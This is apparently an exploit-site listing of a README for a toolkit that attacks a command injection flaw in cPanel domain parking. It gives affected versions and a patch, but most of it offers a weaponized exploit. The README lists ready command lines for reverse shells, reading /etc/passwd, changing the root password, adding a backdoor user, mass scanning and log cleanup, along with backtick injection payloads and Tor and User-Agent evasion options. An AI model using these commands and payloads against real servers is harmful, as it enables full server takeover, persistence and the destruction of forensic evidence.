Sploitus

Exploit for CVE-2026-65643

githubexploit · 2026-09-03

Exploit Code

README209 lines
## https://sploitus.com/exploit?id=5ABC24C0-EB78-50EF-BC1C-8C5CFE153773
![CVEPoC](65643.png)
# CVE‑2026‑65643 – cPanel Domain Parking RCE Toolkit 

[![Python 3.8+](https://img.shields.io/badge/python-3.8+-blue.svg)](https://www.python.org/downloads/)
[![CVSS](https://img.shields.io/badge/CVSS-8.7%20Critical-red)](https://nvd.nist.gov/vuln-metrics/cvss/v4-calculator)
[![Author](https://img.shields.io/badge/author-tc4dy-blueviolet)](https://github.com/tc4dy)
[![cPanel](https://img.shields.io/badge/cPanel-11.x-orange)](https://cpanel.net)

> **⚠️ ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING**  
> This repository provides tools for **authorized security professionals, blue teams, and penetration testers** only.  
> Unauthorized access to computer systems is illegal under **CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.**

---

## đź“– Vulnerability Overview

**CVE‑2026‑65643** is a critical command injection vulnerability in cPanel & WHM versions **11.x** that allows an authenticated cPanel user to execute arbitrary system commands with **root privileges** via the domain parking functionality.

### How it works

1. **Authenticated access required** – the attacker must have a valid cPanel account (username/password) on the target server.
2. **Domain parking injection** – when adding a parked domain, the domain name is not properly sanitized, allowing the attacker to inject shell commands using backticks (`` ` ``).
3. **Command execution** – the injected command is executed by the system with the privileges of the cPanel user, which can be escalated to root via privilege escalation techniques.
4. **Root privileges** – because the domain parking operation runs with sufficient permissions, arbitrary commands can be executed with high privileges.
5. **Impact** – full server compromise, data theft, backdoors, ransomware, and lateral movement. **Upgrade immediately!**

### Affected Versions

- **cPanel & WHM 11.110.0.140 and earlier** – vulnerable
- **11.134.0.52 and earlier** – vulnerable
- **11.136.0.36 and earlier** – vulnerable
- **11.138.0.1 and earlier** – vulnerable
- **11.138.1.6 and later** – **patched**

### Patch

- Upgrade to **cPanel & WHM 11.138.1.6**, **11.138.0.2**, **11.136.0.37**, **11.134.0.53**, or **11.110.0.141** or newer.
- If upgrade is not possible, **disable domain parking permissions** for cPanel users as a temporary workaround.

---

## 🧰 Tools

| Tool | Purpose | Intended User |
|------|---------|---------------|
| **`exploit.py`** | Full weaponized toolkit with reverse shell, webshell, persistence, file read/write, root password change, mass scanning, Tor support, and OPSEC features. | Red teams / authorized pentesters |
| **`verifier.py`** | Non‑intrusive vulnerability checker that detects cPanel version, validates injection, and assesses risk without executing any malicious payload. Generates detailed reports. | Blue teams / security auditors |

---

## đź“Š Feature Comparison

| Feature | `exploit.py` | `verifier.py` |
|---------|:------------:|:--------:|
| Vulnerability detection | âś… | âś… |
| Version detection (4 endpoints) | âś… | âś… |
| Command injection | ✅ | ❌ |
| Reverse shell | ✅ | ❌ |
| WebShell upload | ✅ | ❌ |
| Persistence (cPanel user creation) | ✅ | ❌ |
| Root password change | ✅ | ❌ |
| File read/write | ✅ | ❌ |
| 4 injection methods (JSON/Form/CGI/API2) | âś… | âś… |
| Tor support (anonymity) | ✅ | ❌ |
| User‑Agent rotation (OPSEC) | ✅ | ❌ |
| Jitter (OPSEC) | ✅ | ❌ |
| Mass scanning (multi‑thread) | ✅ | ❌ |
| Interactive shell | ✅ | ❌ |
| Non‑intrusive (safe) mode | ❌ | ✅ |
| Timeline logging | âś… | âś… |
| HTML report | ✅ | ❌ |
| JSON report | âś… | âś… |
| Log cleanup (anti‑forensic) | ✅ | ✅ |
| Proxy support | âś… | âś… |
| Custom User‑Agent | ✅ | ✅ |
| SSL verification control | âś… | âś… |

---

## 🎯 Use Case Summary

| Scenario | Recommended Tool |
|----------|------------------|
| **Blue Team** – verifying if your cPanel installation is vulnerable | `verifier.py` |
| **Security Audit** – non‑intrusive vulnerability assessment | `verifier.py` |
| **Red Team** – authorized penetration testing with full exploitation | `exploit.py` |
| **Bug Bounty** – responsible disclosure testing | `verifier.py` |
| **Mass Scanning** – checking multiple targets for vulnerability | `exploit.py` (detection only) |
| **Incident Response** – checking if systems are compromised | `verifier.py` |

---

## ⚙️ Installation

```bash
git clone https://github.com/tc4dy/CVE-2026-65643-Toolkit
cd CVE-2026-65643-Toolkit
pip install -r requirements.txt
```

#### requirements.txt

```bash
requests
urllib3
```

## đź“‹ Parameters

### `exploit.py` Parameters

| Parameter | Description |
|-----------|-------------|
| `-t, --target` | Target cPanel URL (e.g. `https://cpanel.example.com:2083`) |
| `-l, --target-file` | File containing list of targets (one per line) for mass scanning |
| `-u, --username` | cPanel username |
| `-P, --password` | cPanel password |
| `-p, --port` | Override cPanel port (default from URL or 2083) |
| `--threads` | Number of threads for multi‑target (default: 10) |
| `-o, --output` | Save JSON report to file |
| `--html-report` | Save HTML report to file |
| `-v, --verbose` | Verbose output |
| `--proxy` | HTTP/HTTPS proxy (e.g. `http://127.0.0.1:8080`) |
| `--tor` | Route through Tor (localhost:9050) |
| `-ua, --user-agent` | Custom User‑Agent |
| `--no-keep-alive` | Do not keep session alive |
| `--delay` | Delay between requests (default: 2.0s) |
| `--jitter` | Random jitter (0‑1 sec) between requests (default: 0.5) |
| `--max-retries` | Max retries (default: 5) |
| `--ssl-verify` | Verify SSL certificates |
| `--timeout` | Request timeout (default: 15s) |
| `--cmd` | Execute a single command on the target |
| `--reverse-shell` | Reverse shell IP:PORT |
| `--passwd` | Change root password |
| `--adduser` | Create cPanel user (USER DOMAIN PASSWORD) |
| `--read` | Read a file |
| `--write` | Write a file (specify path) |
| `--write-content` | Content to write |
| `--cleanup` | Clean logs and history after exploitation |
| `-i, --interactive` | Interactive shell after exploitation |
| `--domain-suffix` | Suffix for parked domain (default: exploit.local) |

### `verifier.py` Parameters

| Parameter | Description |
|-----------|-------------|
| `-t, --target` | Target cPanel URL (e.g. `https://cpanel.example.com:2083`) |
| `-u, --username` | cPanel username |
| `-P, --password` | cPanel password |
| `-o, --output` | Save JSON report to file |
| `-v, --verbose` | Verbose output |
| `--proxy` | HTTP/HTTPS proxy (e.g. `http://127.0.0.1:8080`) |
| `--tor` | Route through Tor (localhost:9050) |
| `--ssl-verify` | Verify SSL certificates |
| `--timeout` | Request timeout (default: 15s) |
| `--cleanup` | Clean logs after test |

---

## đź’Ą Scenarios

| # | Scenario | Command |
|---|----------|---------|
| 1 | Quick vulnerability check | `python verifier.py -t https://cpanel.example.com:2083 -u user -P pass` |
| 2 | Detailed scan with report | `python verifier.py -t https://cpanel.example.com:2083 -u user -P pass -o report.json -v` |
| 3 | Reverse shell | `python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444` |
| 4 | Execute command | `python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --cmd "whoami"` |
| 5 | Read sensitive file | `python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd` |
| 6 | Change root password | `python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123` |
| 7 | Create new cPanel user (persistence) | `python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123` |
| 8 | Interactive shell after exploitation | `python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i` |
| 9 | Mass scanning from file | `python exploit.py -l targets.txt -u user -P pass --threads 20 -o results.json` |
| 10 | Use proxy, Tor, and custom User‑Agent | `python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 --tor -ua "Mozilla/5.0"` |
| 11 | Clean logs after exploitation | `python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --cleanup` |

---

## 🧪 Endpoint & Injection Methods

The exploit uses the following cPanel endpoints and injection methods:

| Method | Endpoint | Description |
|--------|----------|-------------|
| **JSON API** | `/cpsessXXXXX/json-api/domain` | Primary injection method via JSON payload |
| **Form Data** | `/cpsessXXXXX/json-api/domain` | Alternative injection via form-encoded data |
| **CGI Script** | `/cgi-sys/domainpark.cgi` | Legacy CGI endpoint injection |
| **API2** | `/cpsessXXXXX/json-api/cpanel` | Legacy API2 injection method |

### Payload Format

```bash
# Injection payload format
test.com``

# Example
test.com`id`
test.com`whoami`
test.com`echo 'pwned' > /tmp/pwned`
```

## 🛡️ Responsible Use

- **Only use these tools on systems you own or have explicit written permission to test.**
- Unauthorized access is illegal and unethical.
- The authors are not responsible for any misuse.
- Always follow your country's laws and regulations.

This software is provided for **educational purposes and authorized security testing only**.